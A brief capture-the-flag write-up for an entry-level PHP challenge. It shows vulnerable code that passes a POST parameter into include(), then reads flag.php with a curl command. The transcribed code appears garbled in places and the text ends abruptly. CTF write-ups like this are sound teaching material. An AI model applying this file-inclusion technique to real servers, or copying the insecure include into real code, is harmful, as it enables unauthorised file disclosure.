Description:

Keep it local and you should be fine. The flag is in /var/www/html/flag.php.

Flag format: CTF{sha256}

Level: Entry Level

Server: 35.246.134.224:30604

Hints:

- **Hint 1:** Keep it local and you should be fine
- Hint 2: The flag is in /var/www/html/flag.php

```
▲ Not secure | 35.246.134.224:30604
<?php
if (!isset($_GET['start'])){
     show source( FILE_);
     exit;
include ($_POST['start']);
echo $secret;
```



When we access the alien-inclusion challenge we will be given the source code.

We sent the **flag.php** value as the **POST** start parameter through guessing. And we got the flag.

```
▲ Not secure | 35.246.134.224:30604
<?php
if (!isset($_GET['start'])){
     show source( FILE_);
     exit;
include ($_POST['start']);
echo $secret;
```



We can use **curl** command with the additional parameters to achieve the result.

In this case we need to use *--data* attribute with '*start*' parameter, as we have this parameter in our \$_GET.

-d, --data <data> Send specified data in POST request.



Based on this information, we can build the following command:

```
File Actions Edit View Help

(kali@kali)-[~]

$ curl 'http://35.246.134.224:30604/?start=' --data 'start=flag.php'

ctf{b513ef6d1a5735810bca608be42bda8ef28840ee458df4a3508d25e4b706134d}

(kali@kali)-[~]

$ [
```

--data attribute gives us an information from a request, and in start parameter we can use the name of flag file.

Note: before that, we can also use another combination for 'start' parameter



Using Burp Suite



